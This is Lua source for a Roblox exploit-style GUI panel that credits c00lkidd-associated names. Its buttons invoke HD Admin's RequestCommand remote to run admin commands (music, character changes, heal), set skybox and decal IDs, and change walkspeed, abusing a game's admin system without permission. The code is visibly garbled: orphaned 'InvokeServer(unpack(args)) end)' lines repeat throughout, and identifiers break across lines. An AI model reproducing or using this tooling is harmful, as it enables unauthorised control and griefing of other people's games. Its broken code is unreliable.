RC7.Size = UDim2.new(0.5, 0, 0, 30)
RC7.ZIndex = 2
RC7.Font = Enum.Font.SourceSans
RC7.Text = "RC7"
RC7.TextColor3 = Color3.fromRGB(255, 255, 255)
RC7.TextSize = 14.000
RC7.TextWrapped = true
Title_16.Name = "Title"
Title_16.Parent = PresetMusicIDs
Title_16.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_16.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_16.BorderSizePixel = 3
Title_16.Size = UDim2.new(1, 0, 0, 30)
Title_16.ZIndex = 2
Title_16.Font = Enum.Font.SourceSansBold
Title_16.Text = "Extra Music (HD ADMIN)"
Title_16.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_16.TextSize = 14.000
Title_16.TextWrapped = true
Hijacked.Name = "Hijacked"
Hijacked.Parent = PresetMusicIDs
Hijacked.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Hijacked.BorderColor3 = Color3.fromRGB(255, 0, 0)
Hijacked.BorderSizePixel = 3
Hijacked.Position = UDim2.new(0, 0, 0, 33)
Hijacked.Size = UDim2.new(0.5, 0, 0, 30)
Hijacked.ZIndex = 2
Hijacked.Font = Enum.Font.SourceSans
Hijacked.Text = "Hero DubStep"
Hijacked.TextColor3 = Color3.fromRGB(255, 255, 255)
Hijacked.TextSize = 14.000
Hijacked.MouseButton1Down:connect(function()
local args = {
[1] = ";music 1839526985 "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
PageLabel_5.Name = "PageLabel"
PageLabel_5.Parent = Page4
PageLabel_5.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_5.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_5.BorderSizePixel = 3
PageLabel_5.Position = UDim2.new(0, 0, 1, -30)
PageLabel_5.Size = UDim2.new(1, 0, 0, 30)
PageLabel_5.ZIndex = 2
PageLabel_5.Font = Enum.Font.SourceSans
PageLabel_5.Text = "Page 4"
PageLabel_5.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_5.TextSize = 18.000
PageLabel_5.TextWrapped = true
Page3.Name = "Page3"
Page3.Parent = Frame
Page3.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Page3.BorderColor3 = Color3.fromRGB(255, 0, 0)
Page3.BorderSizePixel = 3
Page3.Position = UDim2.new(0, 0, 0, 83)
Page3.Size = UDim2.new(1, 0, 1, -106)
Page3.Visible = false
Page3.ZIndex = 2
LocalPlayer.Name = "LocalPlayer"
LocalPlayer.Parent = Page3
LocalPlayer.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
LocalPlayer.BorderColor3 = Color3.fromRGB(255, 0, 0)
LocalPlayer.BorderSizePixel = 3
LocalPlayer.Size = UDim2.new(0.5, 0, 1, 0)
LocalPlayer.ZIndex = 2
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Title_17.Name = "Title"
Title_17.Parent = LocalPlayer
Title_17.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_17.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_17.BorderSizePixel = 3
Title_17.Size = UDim2.new(1, 0, 0, 30)
Title_17.ZIndex = 2
Title_17.Font = Enum.Font.SourceSansBold
Title_17.Text = "LocalPlayer (Need HD Admin)"
Title_17.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_17.TextSize = 14.000
Title_17.TextWrapped = true
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
JD.Name = "JD"
JD.Parent = LocalPlayer
JD.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
JD.BorderColor3 = Color3.fromRGB(255, 0, 0)
JD.BorderSizePixel = 3
JD.Position = UDim2.new(0.5, 3, 0, 99)
JD.Size = UDim2.new(0.5, -3, 0, 30)
JD.ZIndex = 2
JD.Font = Enum.Font.SourceSans
JD.Text = "John Doe"
JD.TextColor3 = Color3.fromRGB(255, 255, 255)
JD.TextSize = 14.000
JD.TextWrapped = true
JD.MouseButton1Down:connect(function()
local args = {
[1] = ";char Me JohnDoe "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
end)
end)
Heal.Name = "Heal"
Heal.Parent = LocalPlayer
Heal.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Heal.BorderColor3 = Color3.fromRGB(255, 0, 0)
Heal.BorderSizePixel = 3
Heal.Position = UDim2.new(0, 0, 0, 164)
Heal.Size = UDim2.new(0.5, 0, 0, 30)
Heal.ZIndex = 2
Heal.Font = Enum.Font.SourceSans
Heal.Text = "Heal"
Heal.TextColor3 = Color3.fromRGB(255, 255, 255)
Heal.TextSize = 14.000
Heal.TextWrapped = true
Heal.MouseButton1Down:connect(function()
local args = {
[1] = ";heal Me "
}
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
Misc.Name = "Misc."
Misc.Parent = Page3
Misc.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Misc.BorderColor3 = Color3.fromRGB(255, 0, 0)
Misc.BorderSizePixel = 3
Misc.Position = UDim2.new(0.5, 3, 0, 0)
Misc.Size = UDim2.new(0.5, -3, 1, 0)
Misc.ZIndex = 2
Title_18.Name = "Title"
Title_18.Parent = Misc
Title_18.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Title_18.BorderColor3 = Color3.fromRGB(255, 0, 0)
Title_18.BorderSizePixel = 3
Title_18.Size = UDim2.new(1, 0, 0, 30)
Title_18.ZIndex = 2
Title_18.Font = Enum.Font.SourceSansBold
Title_18.Text = "Misc. (Need HD ADMIN)"
Title_18.TextColor3 = Color3.fromRGB(255, 255, 255)
Title_18.TextSize = 14.000
Title_18.TextWrapped = true
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
game:GetService("ReplicatedStorage").HDAdminClient.Signals.RequestCommand:InvokeSer
ver(unpack(args))
end)
PageLabel_6.Name = "PageLabel"
PageLabel_6.Parent = Page3
PageLabel_6.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_6.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_6.BorderSizePixel = 3
PageLabel_6.Position = UDim2.new(0, 0, 1, -30)
PageLabel_6.Size = UDim2.new(1, 0, 0, 30)
PageLabel_6.ZIndex = 2
PageLabel_6.Font = Enum.Font.SourceSans
PageLabel_6.Text = "Page 3"
PageLabel_6.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_6.TextSize = 18.000
PageLabel_6.TextWrapped = true
Page5.Name = "Page5"
Page5.Parent = Frame
Page5.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
Page5.BorderColor3 = Color3.fromRGB(255, 0, 0)
Page5.BorderSizePixel = 3
Page5.Position = UDim2.new(0, 0, 0, 83)
Page5.Size = UDim2.new(1, 0, 1, -106)
Page5.Visible = false
Page5.ZIndex = 2
PageLabel_7.Name = "PageLabel"
PageLabel_7.Parent = Page5
PageLabel_7.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_7.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_7.BorderSizePixel = 3
PageLabel_7.Position = UDim2.new(0, 0, 1, -30)
PageLabel_7.Size = UDim2.new(1, 0, 0, 30)
PageLabel_7.ZIndex = 2
PageLabel_7.Font = Enum.Font.SourceSans
PageLabel_7.Text = "Page 5"
PageLabel_7.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_7.TextSize = 18.000
PageLabel_7.TextWrapped = true
PageLabel_8.Name = "PageLabel"
PageLabel_8.Parent = Page5
PageLabel_8.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_8.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_8.BorderSizePixel = 0
PageLabel_8.Position = UDim2.new(0, 0, 0.0919220075, -30)
PageLabel_8.Size = UDim2.new(1, 0, -0.00835654046, 30)
PageLabel_8.ZIndex = 2
PageLabel_8.Font = Enum.Font.SourceSansBold
PageLabel_8.Text = "Credits"
PageLabel_8.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_8.TextSize = 18.000
PageLabel_8.TextWrapped = true
PageLabel_9.Name = "PageLabel"
PageLabel_9.Parent = Page5
PageLabel_9.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_9.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_9.BorderSizePixel = 0
PageLabel_9.Position = UDim2.new(0, 0, 0.175487459, -30)
PageLabel_9.Size = UDim2.new(1, 0, -0.00835654046, 30)
PageLabel_9.ZIndex = 2
PageLabel_9.Font = Enum.Font.SourceSans
PageLabel_9.Text = "Mercy"
PageLabel_9.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_9.TextSize = 18.000
PageLabel_9.TextWrapped = true
PageLabel_10.Name = "PageLabel"
PageLabel_10.Parent = Page5
PageLabel_10.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_10.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_10.BorderSizePixel = 0
PageLabel_10.Position = UDim2.new(0, 0, 0.250696391, -30)
PageLabel_10.Size = UDim2.new(1, 0, -0.00835654046, 30)
PageLabel_10.ZIndex = 2
PageLabel_10.Font = Enum.Font.SourceSans
PageLabel_10.Text = "14anz"
PageLabel_10.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_10.TextSize = 18.000
PageLabel_10.TextWrapped = true
PageLabel_11.Name = "PageLabel"
PageLabel_11.Parent = Page5
PageLabel_11.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
PageLabel_11.BorderColor3 = Color3.fromRGB(255, 0, 0)
PageLabel_11.BorderSizePixel = 0
PageLabel_11.Position = UDim2.new(0, 0, 0.317548752, -30)
PageLabel_11.Size = UDim2.new(1, 0, -0.00835654046, 30)
PageLabel_11.ZIndex = 2
PageLabel_11.Font = Enum.Font.SourceSans
PageLabel_11.Text = "007n7/c00lkidd"
PageLabel_11.TextColor3 = Color3.fromRGB(255, 255, 255)
PageLabel_11.TextSize = 18.000
PageLabel_11.TextWrapped = true
CloseOpen.Name = "Close/Open"
CloseOpen.Parent = si
CloseOpen.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
CloseOpen.BorderColor3 = Color3.fromRGB(255, 0, 0)
CloseOpen.BorderSizePixel = 3
CloseOpen.Position = UDim2.new(-0.00100000005, 3, 0.677999973, 0)
CloseOpen.Size = UDim2.new(0, 300, 0, 20)
CloseOpen.ZIndex = 3
CloseOpen.Font = Enum.Font.SourceSans
CloseOpen.Text = "Close"
CloseOpen.TextColor3 = Color3.fromRGB(255, 255, 255)
CloseOpen.TextSize = 18.000
-- Module Scripts:
local fake_module_scripts = {}
do -- nil.FakeMouse
local script = Instance.new('ModuleScript', nil)
script.Name = "FakeMouse"
local function module_script()
local Converter = {}
script.Client.Disabled = false -- enables the client
Converter.LocalPlayer = nil
local Plr = nil -- temp
script.GetPlr.OnServerEvent:Connect(function(Plrr)
Plr = Plrr
end)
-- A LIST OF ALL FUNCTIONS / EVENTS / PROPERTIES --
function Converter:GetPlr()
return script.GetPlrE:InvokeClient(Plr)
end
Converter.LocalPlayer = Plr
return Converter
end
fake_module_scripts[script] = module_script
end
-- Scripts:
function click()
if script.Parent.Parent.Page1.Visible == true then
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page5.Visible = true
elseif script.Parent.Parent.Page2.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = true
elseif script.Parent.Parent.Page3.Visible == true then
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page2.Visible = true
elseif script.Parent.Parent.Page4.Visible == true then
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page3.Visible = true
elseif script.Parent.Parent.Page5.Visible == true then
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page4.Visible = true
end
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(UHBG_fake_script)()
local function KUKFVZE_fake_script() -- TextButton_2.LocalScript
local script = Instance.new('LocalScript', TextButton_2)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
if script.Parent.Parent.Page1.Visible == true then
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page2.Visible = true
elseif script.Parent.Parent.Page2.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page3.Visible = true
elseif script.Parent.Parent.Page3.Visible == true then
script.Parent.Parent.Page3.Visible = false
script.Parent.Parent.Page4.Visible = true
elseif script.Parent.Parent.Page4.Visible == true then
script.Parent.Parent.Page4.Visible = false
script.Parent.Parent.Page5.Visible = true
elseif script.Parent.Parent.Page5.Visible == true then
script.Parent.Parent.Page5.Visible = false
script.Parent.Parent.Page1.Visible = true
end
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(KUKFVZE_fake_script)()
local function ZTZMDHS_fake_script() -- SettingsButton.LocalScript
local script = Instance.new('LocalScript', SettingsButton)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
cango = true
function click()
if cango == true then
if script.Parent.Text == "<" then
script.Parent.Text = ">"
cango = false
repeat
wait()
script.Parent.Parent.Position =
UDim2.new(1,script.Parent.Parent.Position.X.Offset-10,0,0)
until script.Parent.Parent.Position.X.Offset <= -293
wait()
script.Parent.Parent.Position = UDim2.new(1,-300,0,0)
cango = true
else
script.Parent.Text = "<"
cango = false
repeat
wait()
script.Parent.Parent.Position =
UDim2.new(1,script.Parent.Parent.Position.X.Offset+10,0,0)
until script.Parent.Parent.Position.X.Offset >= -10
wait()
script.Parent.Parent.Position = UDim2.new(1,3,0,0)
cango = true
end
end
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(ZTZMDHS_fake_script)()
local function XZIUGMA_fake_script() -- TextButton_3.LocalScript
local script = Instance.new('LocalScript', TextButton_3)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
if script.Parent.Parent.Page1.Visible == true then
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page2.Visible = true
elseif script.Parent.Parent.Page2.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = true
end
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(XZIUGMA_fake_script)()
local function QZJX_fake_script() -- TextButton_4.LocalScript
local script = Instance.new('LocalScript', TextButton_4)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
if script.Parent.Parent.Page1.Visible == true then
script.Parent.Parent.Page1.Visible = false
script.Parent.Parent.Page2.Visible = true
elseif script.Parent.Parent.Page2.Visible == true then
script.Parent.Parent.Page2.Visible = false
script.Parent.Parent.Page1.Visible = true
end
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(QZJX_fake_script)()
local function DFNUHMF_fake_script() -- TextButton_6.Script
local script = Instance.new('Script', TextButton_6)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
local LocalPlayer = require(script.FakeMouse):GetPlr()
if script.Parent.Text == "Off" then
LocalPlayer.Character.Head.Transparency = 1
LocalPlayer.Character.Head.face.Transparency = 1
LocalPlayer.Character.Torso.Transparency = 1
LocalPlayer.Character["Right Arm"].Transparency = 1
LocalPlayer.Character["Left Arm"].Transparency = 1
LocalPlayer.Character["Right Leg"].Transparency = 1
LocalPlayer.Character["Left Leg"].Transparency = 1
script.Parent.Text = "On"
else
LocalPlayer.Character.Head.Transparency = 0
LocalPlayer.Character.Head.face.Transparency = 0
LocalPlayer.Character.Torso.Transparency = 0
LocalPlayer.Character["Right Arm"].Transparency = 0
LocalPlayer.Character["Left Arm"].Transparency = 0
LocalPlayer.Character["Right Leg"].Transparency = 0
LocalPlayer.Character["Left Leg"].Transparency = 0
script.Parent.Text = "Off"
end
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(DFNUHMF_fake_script)()
-- nil.Client is disabled.
local function KTHTB_fake_script() -- Save.LocalScript
local script = Instance.new('LocalScript', Save)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
game.Workspace.Owner["Skybox/DecalID"].Value =
script.Parent.Parent.Page1["Skybox/Decal ID"].Value.Value
game.Workspace.Owner["PlaceID"].Value = script.Parent.Parent.Page1["Place
ID"].Value.Value
game.Workspace.Owner["MusicID"].Value = script.Parent.Parent.Page1["Music
ID"].Value.Value
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(KTHTB_fake_script)()
local function HGPX_fake_script() -- Load.LocalScript
local script = Instance.new('LocalScript', Load)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
script.Parent.Parent.Page1["Skybox/Decal ID"].TextBox.Text =
game.Workspace.Owner["Skybox/DecalID"].Value
script.Parent.Parent.Page1["Place ID"].TextBox.Text =
game.Workspace.Owner["PlaceID"].Value
script.Parent.Parent.Page1["Music ID"].TextBox.Text =
game.Workspace.Owner["MusicID"].Value
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(HGPX_fake_script)()
local function JEKU_fake_script() -- Cat.Script
local script = Instance.new('Script', Cat)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
script.Parent.Parent.Parent.Parent.Settings.Page1["Skybox/Decal
ID"].TextBox.Text = 8408806737
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(JEKU_fake_script)()
local function SXZQ_fake_script() -- RC7.Script
local script = Instance.new('Script', RC7)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
script.Parent.Parent.Parent.Parent.Settings.Page1["Skybox/Decal
ID"].TextBox.Text = 331959655
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(SXZQ_fake_script)()
local function YFMHCO_fake_script() -- teamskrubl0rd.Script
local script = Instance.new('Script', teamskrubl0rd)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
script.Parent.Parent.Parent.Parent.Settings.Page1["Skybox/Decal
ID"].TextBox.Text = 358313209
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(YFMHCO_fake_script)()
local function VAYESQX_fake_script() -- SetWalkspeed.LocalScript
local script = Instance.new('LocalScript', SetWalkspeed)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed =
script.Parent.Parent.Parent.Parent.Settings.Page2["Walkspeed Amount"].Value.Value
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(VAYESQX_fake_script)()
local function QOJKJZL_fake_script() -- CloseOpen.LocalScript
local script = Instance.new('LocalScript', CloseOpen)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
function click()
if script.Parent.Text == "Close" then
script.Parent.Parent.Frame.Visible = false
script.Parent.Text = "Open" else
script.Parent.Parent.Frame.Visible = true
script.Parent.Text = "Close"
end
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(QOJKJZL_fake_script)()
local function DWQI_fake_script() -- si.owner
local script = Instance.new('Script', si)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end
if game.Workspace:FindFirstChild("Owner") then
else
v = Instance.new("StringValue",workspace)
v.Name = "Owner"
v.Value = script.Parent.Parent.Parent.Name
skyboxid = Instance.new("IntValue",v)
skyboxid.Value = 157772998
skyboxid.Name = "Skybox/DecalID"
placeid = Instance.new("IntValue",v)
placeid.Value = 149559312
placeid.Name = "PlaceID"
musicid = Instance.new("IntValue",v)
musicid.Value = 142930454
musicid.Name = "MusicID"
gearid = Instance.new("IntValue",v)
gearid.Value = 108149175
gearid.Name = "GearID"
end
end
coroutine.wrap(DWQI_fake_script)()
local function NJAVBH_fake_script() -- si.LocalScript
local script = Instance.new('LocalScript', si)
local req = require
local require = function(obj)
local fake = fake_module_scripts[obj]
if fake then
return fake()
end
return req(obj)
end